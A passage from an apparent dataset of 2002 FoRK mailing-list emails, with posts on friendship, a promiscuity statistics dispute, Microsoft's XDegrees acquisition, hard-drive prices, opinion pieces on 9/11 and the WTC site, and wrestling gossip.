deteriorated to the point where one friend truly dislikes the other one or finds that the friendship is causing undue stress, the healthy response is to pull away, Dr. Yager said, to stop sharing the personal or intimate details of life, and start being too busy to get together, ever. ""It takes two people to start and maintain a friendship, but only one to end it,"" Dr. Yager said. Friendship, because it is voluntary and unregulated, is far easier to dissolve than marriage. But it is also comparatively fragile, experts say. Ideally, the loss of a bad friendship should leave a person with more time and appreciation for good ones, Dr. Lerner said. ""It is wise to pay attention to your friendships and have them in order while you're healthy and your life and work are going well,"" she said. ""Because when a crisis hits, when someone you love dies, or you lose your job and your health insurance, when the universe gives you a crash course in vulnerability, you will discover how crucial and life-preserving good friendship is."" http://www.nytimes.com/2002/09/10/health/psychology/10FRIE.html?ex=1032684795&ei=1&en=2a88a6d1b985c977 HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company",0,1 """Gordon Mohr"" ",,"Tue, 10 Sep 2002 13:45:17 -0700",More on promiscuity and word choice Re: Selling Wedded Bliss (was,"Robert Harley writes: > >OK, then. Consider a population of 1,000,000. 500,000 men each > >pair off with 500,000 women. Then, 1 man, let's call him ""Wilt"", > >also has sex with the other 499,999 women > > This has never happened. Its relevance is nil. It was a extreme contrived example because you glosded over the point of the earlier 3-person example. But OK, Mr Math, let it be N men and women, for any N>2. They all pair off. Then, some number H, N>H>0, of men has sex with all the other N-1 women he hasn't yet had sex with. Pick any N and H that might be interesting. Any choice of values results in meaningful differences between the sexes' ""promiscuity"", as commonly understood. It should be more obvious with extreme choices of numbers, but it is also true for any choice of N and H, if unrealistic totals distract you. Further, and I was hoping this would be clear without saying so outright, this model actually approximates the cliche ""common wisdom"" about per-gender sexual behavior, if you reverse the male and female roles. Those stereotypes are: that more men than women seek multiple partners -- men being ""more promiscuous"" than women -- and that surplus of male interest is satisfied by a smaller number of hyperpromiscuous women (often derisively labelled ""sluts""). > So I chose not to type ""on average"" explicitly in my post, since this > is FoRK and one tends to assume that people have a clue. > > There is no disagreement between us, except that I am more interested > in typical behaviour and you in extreme. Nope, now you've amended the meaning of your initial statement to make it more defensible. What I objected to was: Robert Harley: # >The assumption that females of all species tend to be less promiscuous # >than males simply does not fit the facts, Hrdy contended. # # Well, DUH!!! # # It is perfectly obvious that (heterosexual) promiscuity is exactly, # precisely identical between males and females. # # Of course the shapes of the distributions may differ. If you assumed people on FoRK had a clue, would you have needed to jump in with a patronizing ""DUH!!""? If you were talking about fuzzy, typical behavior, would you have huffed and puffed with the words ""perfectly obvious"" and ""exactly, precisely identical""? If your concern was with the ""typical"", why didn't you adopt the typical definition of ""promiscuous"", rather than a straw-man definition which allowed you to interject ""DUH!!"" and mock an anthrolopology professor's conclusions? > Actually, you probably just > had a bad day and felt like jumping down my throat for the hell of it. You are welcome to that theory! But here's an alternate theory: when you jump in with a patronizing and overblown pronouncement -- e.g. ""DUH!!... perfectly obvious... exactly, precisely identical..."" -- and that pronouncement is itself sloppy and erroneous, then others may get a kick out of popping your balloon. - Gordon",0,0 """Geege Schuman"" ","""Gary Lawrence Murphy"" ,","Tue, 10 Sep 2002 19:56:56 -0400",RE: Recommended Viewing,"dreams-are-like-radio analogy: i program my Jetta Monsoon for Planet 93.3, 80's 102.9, and NPR 89.9 but when i leave my local broadcast range i have to scan for new stations. dreaming is outside my local broadcast range. -----Original Message----- From: garym@maya.dyndns.org [mailto:garym@maya.dyndns.org]On Behalf Of Gary Lawrence Murphy Sent: Tuesday, September 10, 2002 10:14 AM To: Geege Schuman Cc: johnhall@evergo.net; FoRK Subject: Re: Recommended Viewing >>>>> ""G"" == Geege Schuman writes: G> you meant ""SURPRISINGLY perceptive,"" didn't you? :-) Of course, dear. Especially without zazen training. Veritably Operational Thetan-like. G> recent exceptionally vivid and strange dreams lead me to G> believe i'm sparking synapses that have lain dormant lo these G> many years. Lots of problem solving going on up there at G> night. It's a myth that we don't use parts of our brain. We use it all, always. It's just that our culturally-induced focal-point causes most of us to most of the time ignore and waste 99.999% of it. ""Lucid"" is a measure of notch-filter bandwidth; all stations are broadcasting, but we only /choose/ Easy Rock 105. For example, don't look now but your shoes are full of feet. The sensation of toes the above statement evokes is not a ""turning on"" of circuits, it is a ""tuning in"". The next step, of course, is to ""drop out"" :) To paraphrase an old saw: Life is wasted on the living. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Mr. FoRK"" ",,"Tue, 10 Sep 2002 23:39:58 -0700",Microsoft Buys XDegrees - Secure Access Company,"== http://siliconvalley.internet.com/news/article.php/10862_1460701 Microsoft Tuesday said it has purchased a Mountain View, Calif.-based security company to better secure its core file services including its Windows platform and .NET initiative. The Redmond, Wash-based software giant has acquired the assets of XDegrees for an undisclosed amount of cash and is in the process of relocating the team of 12 or 14 engineers to the Microsoft campus. XDegrees' technology assigns URLs to Word files, video clips, and other digital documents for access across a peer-to-peer network XDegrees founder Michael Tanne was offered a job, but decided instead to play his hand in the Silicon Valley. ========== ""XDegrees' technology assigns URLs to Word files, video clips, and other digital documents for access across a peer-to-peer network"" - assigns URLs to Word files... and somebody /bought/ that? === http://www.xdegrees.com/pr_2001-11-12_1.html ""The XDegrees System allows users to easily and consistently locate, access and manage information by assigning each document a unique link. Providing end-to-end security, the XDegrees System unifies authentication of all users, provides file-level access control and encrypts all stored and transferred files. Seamless integration with existing applications such as email clients and Microsoft Office products allows companies to rapidly deploy the XDegrees System and users to get up-and-running quickly."" Whoa... high tech... === More bits here... http://www.openp2p.com/pub/a/p2p/2001/04/27/xdegrees.html ""The essence of XDegrees consists of a naming system and a distributed database that allows peers to resolve resource names. XDegrees manages these services for customers on its own hosts, and sells its software to enterprises so they can define and run their own namespaces on in-house servers. You can search for a particular person (whatever device the person is currently using), for a particular device, for a file, or even for a web service. The software that resolves resource names is called XRNS (the eXtensible Resource Name System).""",0,1 """Mr. FoRK"" ",,"Tue, 10 Sep 2002 23:45:31 -0700",Microsoft buys XDegress - more of a p2p/distributed data thing...,"I like this part - sounds like httpd on the client... http://www.openp2p.com/pub/a/p2p/2001/04/27/xdegrees.html ""Once the Client Component is installed, a server can order a program to run on the client. Any CGI script, Java servlet, ASP component, etc. could be run on the client. This is like breaking the Web server into two parts. Originally, Web servers just understood HTTP and sent pages. Then the field started demanding more from the Web and the servers got loaded down with CGI and mod_perl and active pages and stuff. So now the Web server can choose to go back to simple serving and (where the application is appropriate) let the client do the other razzamatazz. This is superior to JavaScript in one important detail: the program doesn't have to reload when a new page is loaded, as JavaScript functions do. And because XDegrees uses Web-compatible technology, users can access XDegrees resources without installing any software, simply by using their browser."" === ""Scaling is the main question that comes to mind when somebody describes a new naming and searching system. CEO Michael Tanne claims to have figured out mathematically that the system can scale up to millions of users and billions of resources. Scaling is facilitated by the careful location of servers (XDegrees will colocate servers at key routing points, as Akamai does), and by directing clients to the nearest server as their default ""home"" server. Enterprise customers can use own servers to manage in-house applications."" ""Files can be cached on multiple systems randomly scattered around the Internet, as with Napster or Freenet. In fact, the caching in XDegrees is more sophisticated than it is on those systems: users with high bandwidth connections can download portions, or ""stripes,"" of a file from several cached locations simultaneously. The XDegrees software then reassembles these stripes into the whole file and uses digital signatures to verify that the downloaded file is the same as the original. A key component of this digital signature is a digest of the file, which is stored as an HTTP header for the file.""",0,1 """Gordon Mohr"" ",,"Wed, 11 Sep 2002 00:00:01 -0700",Re: Microsoft buys XDegress - more of a p2p/distributed data thing...,"Mr. FoRK writes: > ""Files can be cached on multiple systems randomly scattered around the > Internet, as with Napster or Freenet. In fact, the caching in XDegrees is > more sophisticated than it is on those systems: users with high bandwidth > connections can download portions, or ""stripes,"" of a file from several > cached locations simultaneously. The XDegrees software then reassembles > these stripes into the whole file and uses digital signatures to verify that > the downloaded file is the same as the original. A key component of this > digital signature is a digest of the file, which is stored as an HTTP header > for the file."" This ""more sophisticated than [Napster or Freenet]"" part seems to be the same behavior implemented in many other P2P CDNs, such as: - Kazaa - EDonkey/Overnet - BitTorrent - Gnutella (with HUGE extensions) - OnionNetworks WebRAID ...though the quality of the ""digest"" used by each system varies wildly. - Gordon",0,0 Udhay Shankar N ,"Adam Rifkin , FoRK@xent.com","Wed, 11 Sep 2002 11:45:45 +0530",storage bits,"At 12:32 PM 12/28/00 -0600, Adam Rifkin wrote: >I repeat, IBM 76.8Gb ultra dma/100 hard drive at Fry's for $375... >""home of fast, friendly courteous service! (R)"" > >I kid you not. That's a half a cent a Megabyte for storage. >Not El Cheapo storage but top of the line storage. less than two years later, we have 320 GB for the same price: http://www.shareholder.com/maxtor/news/20020909-89588.cfm Maxtor Driving Capacity-Centric Enterprise Apps With ""Super-Sized"" ATA Drives Maxtor Continues its Leadership in the Market it Pioneered with a New Category of High-Density ATA Drives MILPITAS, Calif., September 9, 2002- Maxtor Corporation (NYSE: MXO), a worldwide leader in hard disk drives and data storage solutions, today announced Maxtor MaXLineTM, its newest generation of ATA drives designed specifically for rapidly emerging enterprise storage applications including near-line, media storage and network storage. The MaXLine family features two critical differentiators: huge capacities up to 320 GB for corporate archiving and media recording; and unique manufacturing and quality for 24/7 operations with mean time to failure (MTTF) rates exceeding one million hours. The MaXLine family is designed to bring hard disk drives into ""near-line"" archive applications. By adding a layer of MaXLine drives to archive architectures, companies can instantly recover time-critical data including executive e-mail, transaction data and accounting data that may need to be recovered on demand. These new drives are designed to solve another enterprise problem with the storage of video, media and audio conference call files. Even compressed, these files take up tremendous amounts of high-cost server space. Priced starting around $299.95 to $399.95 MSRP, Maxtor's MaXLine family offers high capacity drives for enterprise applications at price points between traditional ATA and SCSI drives. For system OEMs and white box builders, MaXLine offers high-density, easy-to-integrate storage for use in entry-level and mid-size server environments. ""The demand for instant recall of archived data is expanding as companies are meeting their obligations to quickly access executive e-mails, financial documents and transaction records,"" said Mike Dooley, senior director of marketing for the Desktop Products Group at Maxtor. ""Users may not need to access information in these applications on a daily basis, but when they do need access, it must be instant. Recent advances in ATA technology and our manufacturing processes allow us to build upon our legacy of experience and provide our customers with a family of premium ATA hard drives that can be integrated into a variety of systems for these enterprise applications."" The MaXLine family includes the 5400-RPM MaXLine II, designed for capacities up to 320 GB and the 7200-RPM MaXLine Plus II, designed for capacities up to 250 GB. At these capacities, MaXLine offers higher storage density than many tape and optical solutions. These drives have also been tested and are projected to meet enterprise reliability requirements, already exceeded by prior drives employing the same robust Maxtor designs, which exceed MTTF of over one million hours. These drives will also carry a three-year warranty. The MaXLine II and MaXLine Plus II feature the Maxtor Fast DriveTM UltraATA/133 interface for data transfer speeds up to 133 MB per second. The MaXLine II and MaXLine Plus II will be available with next-generation serial ATA interface for higher performance. At 150 MB per second maximum data transfer rate, serial ATA improves hard drive performance to keep pace with the rapidly increasing performance requirements of data intensive environments and enterprise applications. With a point-to-point connection architecture, and rich command set for managing hard drive activity and data flow along the interface, serial ATA advances the performance and efficiency of the drive to system interface. The interface's reduced pin count allows for simpler cabling which in turn allows better airflow within a system and further benefits the user with increased design flexibility and hot plug capability. ""Maxtor's MaXLine family of drives provide a solution for storing data that has previously been too expensive to keep on disk,"" said Dave Reinsel, analyst at IDC. ""The ATA drives offer a great value, low cost per GB and when integrated into storage systems and file servers offer a compelling cost-effective alternative to tape libraries and optical drives, which have been the traditional solutions used for near-line applications."" Availability Limited qualification units of the parallel ATA versions of Maxtor MaXLine II and MaXLine Plus II are now available; with volume units available in the fourth quarter. Qualification units of the MaXLine II and MaXLine Plus II with serial ATA will be available later this month with volume shipments scheduled to begin in the first quarter of 2003. About Maxtor Maxtor Corporation (www.maxtor.com) is one of the world's leading suppliers of information storage solutions. The company has an expansive line of storage products for desktop computers, storage systems, high-performance servers and consumer electronics. Maxtor has a reputation as a proven market leader built by consistently providing high-quality products and service and support for its customers. Maxtor and its products can be found at www.maxtor.com or by calling toll-free (800) 2-MAXTOR. Maxtor is traded on the NYSE under the MXO symbol. Note: Maxtor, MaXLine and the Maxtor logo are registered trademarks of Maxtor Corporation. Fast Drive is a trademark of Maxtor Corporation. All other trademarks are properties of their respective owners. GB means 1 billion bytes. Total accessible capacity varies depending on operating environment. This announcement relating to Maxtor may contain forward-looking statements concerning future technology, products incorporating that technology, and Maxtor's execution. These statements are based on current expectations and are subject to risks and uncertainties which could materially affect the company's results, including, but not limited to, market demand for hard disk drives, the company's ability to execute future production ramps and utilize manufacturing assets efficiently, pricing, competition, and the significant uncertainty of market acceptance of new products. These and other risk factors are contained in documents that the company files with the SEC, including the Form 10-K for fiscal 2001 and its recent 10-Qs. Copyright 2001, Maxtor Corporation . Privacy Policy. -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com))",0,1 Gary Lawrence Murphy ,Udhay Shankar N ,11 Sep 2002 09:03:37 -0400,Re: storage bits,">>>>> ""U"" == Udhay Shankar N writes: U> At 12:32 PM 12/28/00 -0600, Adam Rifkin wrote: >> I repeat, IBM 76.8Gb ultra dma/100 hard drive at Fry's for >> $375... ""home of fast, friendly courteous service! (R)"" U> less than two years later, we have 320 GB for the same price: So then why does my webhost _still_ only give me 200MB? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 CDale ,Paul Chvostek ,"Wed, 11 Sep 2002 08:09:14 -0500 (CDT)",Re: Snow,"September Haiku Freezing my ass off Air conditioning on high heats small apartment. Cindy, in Mississippie P.S. this one's for you, geege. On Tue, 10 Sep 2002, Paul Chvostek wrote: > > I can tell I'm not the only one without air conditioning. ;-) > > Maybe I'll move to Canmore. > > p > > > On Tue, Sep 10, 2002 at 03:37:08PM -0400, Swerve wrote: > > > > moo hahahaha. > > > > i need a smoke. > > > > stop this heatwave. > > > > bring on winter. > > > > bring on fall. > > > > > > Swerve, shut up. > > > > bye. > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 """Jim Whitehead"" ",,"Wed, 11 Sep 2002 08:35:31 -0700",RE: Microsoft buys XDegress - more of a p2p/distributed data thing...,"XDegrees was at the WebDAV Interoperability Testing Event last year, so there may be some DAV under the hood there someplace. - Jim > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of > Gordon Mohr > Sent: Wednesday, September 11, 2002 12:00 AM > To: fork@spamassassin.taint.org > Subject: Re: Microsoft buys XDegress - more of a p2p/distributed data > thing... > > > Mr. FoRK writes: > > ""Files can be cached on multiple systems randomly scattered around the > > Internet, as with Napster or Freenet. In fact, the caching in > XDegrees is > > more sophisticated than it is on those systems: users with high > bandwidth > > connections can download portions, or ""stripes,"" of a file from several > > cached locations simultaneously. The XDegrees software then reassembles > > these stripes into the whole file and uses digital signatures > to verify that > > the downloaded file is the same as the original. A key component of this > > digital signature is a digest of the file, which is stored as > an HTTP header > > for the file."" > > This ""more sophisticated than [Napster or Freenet]"" part seems > to be the same behavior implemented in many other P2P CDNs, > such as: > > - Kazaa > - EDonkey/Overnet > - BitTorrent > - Gnutella (with HUGE extensions) > - OnionNetworks WebRAID > > ...though the quality of the ""digest"" used by each system varies > wildly. > > - Gordon >",0,0 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Wed, 11 Sep 2002 12:37:15 -0400",Hanson's Sept 11 message in the National Review,"http://www.nationalreview.com/hanson/hanson091102.asp September 11, 2002 8:00 a.m. The Wages of September 11 There is no going back. September 11 changed our world. Those who deny such a watershed event take a superficially short-term view, and seem to think all is as before simply because the sun still rises and sets. This is a colossal misjudgment. The collapse of the towers, the crashing into the Pentagon, and the murder of 3,000 Americans all seen live in real time by millions the world over tore off a scab and exposed deep wounds, which, if and when they heal, will leave ugly scars for decades. The killers dealt in icons the choice of 911 as the date of death, targeting the manifest symbols of global capitalism and American military power, and centering their destruction on the largest Jewish city in the world. Yes, they got their symbols in spades, but they have no idea that their killing has instead become emblematic of changes that they could scarcely imagine. Islamic fundamentalism has proved not ascendant, but static, morally repugnant and the worst plague upon the Arab world since the Crusades. By lurking in the shadows and killing incrementally through stealth, the vampirish terrorists garnered bribes and subsidies through threats and bombs; but pale and wrinkled in the daylight after 9/11, they prove only ghoulish not fearsome. The more the world knows of al Qaeda and bin Laden, the more it has found them both vile and yet banal and so is confident and eager to eradicate them and all they stand for. It is one thing to kill innocents, quite another to take on the armed might of an aroused United States. Easily dodging a solo cruise missile in the vastness of Afghanistan may make good theater and bring about braggadocio; dealing with grim American and British commandos who have come 7,000 miles for your head prompts abject flight and an occasional cheap infomercial on the run. And the ultimate consequence of the attacks of September 11 will not merely be the destruction of al Qaeda, but also the complete repudiation of the Taliban, the Iranian mullocracy, the plague of the Pakistani madrassas, and any other would-be fundamentalist paradise on earth. Foreign relations will not be the same in our generation. Our coalition with Europe, we learn, was not a partnership, but more mere alphabetic nomenclature and the mutual back scratching of Euro-American globetrotters a paper alliance without a mission nearly 15 years after the end of the Cold War. The truth is that Europe, out of noble purposes, for a decade has insidiously eroded its collective national sovereignty in order to craft an antidemocratic EU, a 80,000-person fuzzy bureaucracy whose executive power is as militarily weak as it is morally ambiguous in its reliance on often dubious international accords. This sad realization September 11 brutally exposed, and we all should cry for the beloved continent that has for the moment completely lost its moral bearings. Indeed, as the months progressed the problems inherent in ""the European way"" became all too apparent: pretentious utopian manifestos in lieu of military resoluteness, abstract moralizing to excuse dereliction of concrete ethical responsibility, and constant American ankle-biting even as Europe lives in a make-believe Shire while we keep back the forces of Mordor from its picturesque borders, with only a few brave Frodos and Bilbos tagging along. Nothing has proved more sobering to Americans than the skepticism of these blinkered European hobbits after September 11. America learned that ""moderate"" Arab countries are as dangerous as hostile Islamic nations. After September 11, being a Saudi, Egyptian, or Kuwaiti means nothing special to an American at least not proof of being any more friendly or hostile than having Libyan, Syrian, or Lebanese citizenship. Indeed, our entire postwar policy of propping up autocracies on the triad of their anticommunism, oil, and arms purchases like NATO belongs to a pre-9/11 age of Soviet aggrandizement and petroleum monopolies. Now we learn that broadcasting state-sponsored hatred of Israel and the United States is just as deadly to our interests as scud missiles and as likely to come from friends as enemies. Worst-case scenarios like Iran and Afghanistan offer more long-term hope than ""stable regimes"" like the Saudis; governments that hate us have populations that like us and vice versa; the Saudi royal family, whom 5,000 American troops protect, and the Mubarak autocracy, which has snagged billions of American dollars, are as afraid of democratic reformers as they are Islamic fundamentalists. And with good reason: Islamic governments in Iran and under the Taliban were as hated by the masses as Arab secular reformers in exile in the West are praised and championed. The post-9/11 domestic calculus is just as confusing. Generals and the military brass call civilians who seek the liberation of Iraq ""chicken hawks"" and worse. Yet such traditional Vietnam-era invective I think rings hollow after September 11, and sounds more like McClellan's shrillness against his civilian overseers who precipitously wanted an odious slavery ended than resonant of Patton's audacity in charging after murderous Nazis. More Americans were destroyed at work in a single day than all those soldiers killed in enemy action since the evacuation of Vietnam nearly 30 years ago. Indeed, most troops who went through the ghastly inferno of Vietnam are now in or nearing retirement; and, thank God, there is no generation of Americans in the present military other than a few thousand brave veterans of the Gulf, Mogadishu, and Panama who have been in sustained and deadly shooting with heavy casualties. Because American soldiers and their equipment are as impressive as our own domestic security is lax, in this gruesome war it may well be more perilous to work high up in lower Manhattan, fly regularly on a jumbo jet, or handle mail at the Pentagon or CIA than be at sea on a sub or destroyer. Real concern for the sanctity of life may hinge on employing rather than rejecting force, inasmuch as our troops are as deadly and protected abroad as our women, children, aged, and civilians are impotent and vulnerable at home. It seems to me a more moral gamble to send hundreds of pilots into harm's way than allow a madman to further his plots to blow up or infect thousands in high-rises. Politics have been turned upside down. In the old days, cynical conservatives were forced to hold their noses and to practice a sometimes repellent Realpolitik. In the age of Russian expansionism, they were loathe to champion democracy when it might usher in a socialist Trojan Horse whose belly harbored totalitarians disguised as parliamentarians. Thus they were so often at loggerheads with nave and idealist leftists. No longer. The end of the specter of a deadly and aggressive Soviet Communism has revived democratic ideology as a force in diplomacy. Champions of freedom no longer sigh and back opportunistic rightist thugs who promise open economics, loot their treasuries, and keep out the Russians. Instead, even reactionaries are now more likely to push for democratic governments in the Middle East than are dour and skeptical leftists. The latter, if multiculturalists, often believe that democracy is a value-neutral Western construct, not necessarily a universal good; if pacifists, they claim nonintervention, not justice, as their first priority. The Right, not the Left, now is the greater proponent of global freedom, liberation, and idealism with obvious domestic ramifications for any Republican president astute enough to tap that rich vein of popular support. All this and more are the wages of the disaster of September 11 and the subsequent terrible year and yet it is likely that, for good or evil, we will see things even more incredible in the twelve months ahead.",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Wed, 11 Sep 2002 12:47:58 -0400",A Living Memorial,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Say 'amen' somebody. What the WSJ said, appended below. The WTC, as constructed, was a confiscatory government boondoggle, expropriated from the original pre-construction property owners at the behest of a third-generation trust-fund-aristocrat for the ""good"" of the city, and owned by an ""authority"" looking for something else to do after it, and its coach-hounds in organized labor and organized crime, had killed what was the largest port in the world's richest nation. Now, of course, it's about to get worse. The sins of 40 years ago have been compounded at the hands of two kinds of literally irrational fanatics, first those in religion, and now those in government. As a result, a large part of 10 million square feet of once perfectly usable office space, devoted, at least ostensibly, to commerce, will be ""granted"" away in a potlatch that only government, and special-interest ""communities"", (or ""stakeholders"", or whatever the cryptosocialist psycho-rabble call themselves this week) can organize to such perfection. All this in probably the *only* city in the country that was founded by a *business*, explicitly for the purpose of *commerce*. Not religious fanaticism. Not colonial expansion in a monarch's name. *Commerce*. If they *really* wanted to make a point to the superstitious luddites who collapsed those buildings (using probably the only sharp objects on a plane full of government-disarmed passengers) the so-called ""authority"" should disband itself and sell its property off to the highest bidder and let the *market* -- the cure to all luddism, foreign and domestic, government and superstitious -- decide. If the new, *private* owner wants to sell, or give away, a space for a memorial, fine. They could sell tickets and donate the money to the families of the dead and injured. Probably great for marketing the property, at least during the lifetime of anyone who remembers the event. And, of course, if the new owner wants to build something twice as tall, or with twice as much space than the original 10 million square feet, splendid. Whatever the market will bear. In these days of increasingly ubiquitous trans-national geodesic internetworks, of strong financial cryptography, and of exponentially decreasing transaction costs in formerly monolithic industries, economics and freedom can, and will, prevail over both superstition and statism. It's probably too much to hope for an actual market in lower Manhattan mega-real-estate to prevail this early in the game, but it's going to happen sooner or later. And, whenever it does, *that* will be a fitting memorial to those who died at the World Trade Center. Cheers, RAH - ------- http://online.wsj.com/article_print/0,,SB1031705210159756235,00.html The Wall Street Journal September 11, 2002 REVIEW & OUTLOOK A Living Memorial As we write these words, we can look down from our offices into the six-story crater where the Twin Towers once stood. Like everyone else, we want that site to be rebuilt in a way that honors those who died a year ago. But we also think the best memorial to those who perished would be a living one. The site of the World Trade Center calls forth many emotions, especially today: anger, grief and respect for the many acts of heroism that took place there. But underlying it all is the memory of the enormous vitality that distinguished the towers before they were attacked and was a large reason they were targeted. The best expression of the spirit of New York and of those who died would be to once again see thousands of people from dozens of countries working, meeting, shopping, eating -- that is, engaged in the sort of productive work and play that used to take place there. Osama bin Laden should not be allowed to have turned it into a cemetery. But restoring this memory is not what the discussion in New York has been about. So far no one is talking seriously about the vigorous rebuilding of downtown Manhattan, which lost 100,000 jobs when the Trade Center fell. Instead the discussion centers on the size and scale of the memorial, and on satisfying every political interest now clamoring for a piece of the action. New York's political leadership, and its financial and media elites, are squandering a historic chance to rebuild a better, more prosperous city. This is in part the fault of the commission tasked with figuring out what to do with the site. In consultation with New York Governor George Pataki, who is thinking primarily about his own November re-election, the commission made the decision to focus first on the memorial. The Manhattan Institute's Steve Malanga argues that the commission would have been better off setting aside a limited space for the memorial, getting on with the rebuilding and then returning to the memorial. This is in essence what the Pentagon has so successfully done -- rebuild immediately and set aside two acres for an outdoor memorial, a design for which has yet to be decided. A big part of the problem in New York is that the city's anti-development activists know an opening when they see one. They want the World Trade Center site -- and even some surrounding areas - -- transformed into an enormous park. These political advocates have had plenty of practice at turning proposed development projects in New York into a nightmare of delay and litigation, and the World Trade Center site is now getting the same treatment. Worse, they are cynically using some bereaved family members to advance their own anti-development agenda in the name of ""honoring"" the dead. One family group even called a press conference to reject as disrespectful a proposed train line under the site. We are not experts in designing war memorials, but we're confident that a gigantic park in the heart of the world's financial center isn't the appropriate choice for those who died a year ago. The great cities of Europe and Japan, devastated in World War II, have all rebuilt, and with memorials that are integrated into modern urban life. Perhaps the most powerful is found in Rotterdam, the Dutch port city reduced to rubble by German bombing, where survivors erected a statue of a man with a hole where his heart used to be. In this country, the practice has been for the names of war dead to be inscribed on the walls of institutions with which they were affiliated. If you walk into Nassau Hall at Princeton University, you'll find the names of 644 alumni who died in the Revolutionary War, the War of 1812, the Civil War, the Spanish-American War, World War I, World War II, Korea and Southeast Asia. No one thinks it disrespectful to the dead that the life of the university goes on around the walls containing their names. In New York now, it would help if political leaders looked beyond the emotional tug of the victims and their families to the city's future. Rudolph Giuliani, now that he's out office, wants the entire 16 acres devoted to the memorial. Governor Pataki has called for no structures on the ""footprints,"" which, being in the center of the site, would severely curtail options. Mayor Michael Bloomberg initially raised his voice in favor of commercial development but was bloodied by the press and has since ducked for cover. Maybe things will be different after this anniversary is past. Maybe those responsible for the World Trade Center site will start thinking more about the next 50 or 100 years than the past 12 months. The best way to honor the dead is by reviving normal life and commerce. -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPX9zD8PxH8jf3ohaEQI2aACgv7mtb5VKTpRj5MJQt1OyzyifzusAn273 fgNkOntna6+SmLO8TB4XYbC2 =09az -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 11 Sep 2002 13:44:46 -0400 (EDT)",Keillor voices up on what to do with the WTC site,"http://www.phc.mpr.org/posthost/index.shtml Dear Garrison, There are at least six plans about what to do with ""Ground Zero"" in New York. I believe a suitable memorial surrounded by a lovely park with benches, walkways, children's playgrounds, possibly some concessions such as a restaurant, small theater and a place for art works would be the best tribute to those who lost their lives. What do you think should done with the space? Joe Adams Hillsdale, New Jersey I dread the thought of a big memorial in Manhattan that's designed by committee and that's gone through public hearings and so forth ----- it's going to be cold and ugly and pretentious and the upshot will be one more public space that the public hates, of which there are plenty already. New York is a bustling commercial city and that's the beauty of it, it's a city of young ambitious dreamy people, like the folks who died in the towers, and it's not a memorializing city. Historic events occurred in New York that in any other city would be commemorated with interpretive centers and guides and historical museums and in New York there's barely a little plaque. That's a great thing, in my estimation. It's a hustling city, full of immigrants looking for their big chance, and compared to that spirit of entrepreneurship, a memorial plaza with a fountain and a statue of something seems dead to me. Look at Grant's Tomb. Who walks past it and thinks about President Grant? Nobody. People sit in the plaza by Grant's Tomb and think about lunch, about sex, about money, about all the things that New York is about. If you want to find Grant, read his memoirs. His monument seems odd in New York: it belongs in Washington, which is our memorial city. New York is for the young and lively.",0,1 Eugen Leitl ,Gary Lawrence Murphy ,"Wed, 11 Sep 2002 20:24:40 +0200 (CEST)",Re: storage bits,"On 11 Sep 2002, Gary Lawrence Murphy wrote: > So then why does my webhost _still_ only give me 200MB? Because ~10 krpm server SCSII doesn't follow the curve. Most rackspace is ridiculously expensive/unit, so people don't use low end EIDE hardware there.",0,0 """John Hall"" ","""FoRK"" ","Wed, 11 Sep 2002 11:25:50 -0700",RE: Hanson's Sept 11 message in the National Review,"Hanson is always good. One of my sci-fi authors is planning on slipping the following line into one of their stories: ""The worst strategic mistake since the 911 attacks"". > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Bill > Stoddard > Sent: Wednesday, September 11, 2002 9:37 AM > To: Fork@Xent.Com > Subject: Hanson's Sept 11 message in the National Review > > > http://www.nationalreview.com/hanson/hanson091102.asp",0,1 Chris Haun ,fork@spamassassin.taint.org,"Wed, 11 Sep 2002 15:08:10 -0400 (EDT)",From salon.com - Forbidden thoughts about 9/11,"i though this was all rather interesting, first bit of 9/11 coverage that i've liked. http://www.salon.com/mwt/feature/2002/09/11/forbidden_letters/index.html Chris",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 11 Sep 2002 19:37:59 -0400 (EDT)",TheThresher,"Is this old bits? It should be. I was browsing the local zine store here in Portland OR and found the second issue of The Thresher...very very sweet. Poltical socio articles on all manner of things from names you have come to love/despise over the years. If you have not already, tombobjoewhore says check it out. www.thethresher.com",0,0 Tom ,fork@spamassassin.taint.org,"Wed, 11 Sep 2002 20:22:18 -0400 (EDT)",Since we were on the subject...,"Gays, gay sex, gay marriage.....wooohooo its been a mano e mano week and thursady will be the mass market consumer period on it. The WWE's gay marriage cermemony is in the can, that is its been filmed last night for thursady nights Smackdown. Did they do it tastefully? Oh come on its the WWE for cripssake, of course they didnt. Did they use it ot promote an story line? Despite the WWE throwing away more good story lines in the last 2 years than a wood chuck who could chuck wood if the enviromentalists did not slap lawsuits on them, the sotrywrites seemed to have finaly hit on a big tie togther event for several story lines. But of course, no one here watches the WWE, and not even because you would rather watch old Divxs of the ECW, so this little bit is probably fallign on the old killsawfiles. SO I wont be bursting anyones thursdaynight plans if I smarkout and say that B and C waver near the final vows, the blame is falling on Ricco, thier ""manager""*, for pushing them to carry out their ""gay"" act far too long and just when things look to be heating up with that story arc......the mask comes off the justice of the piece as he pronounces that they have gone 3 minutes, yes 3 minutes, too long.....Yep, its the Bisch and in come Rosey and Jamal to attempt a stomping on Stpehnie McMahon. Hopefully they did not get off a kick like they did on the first lesbain back on Mondays raw as that broke a rib. Of course the editing 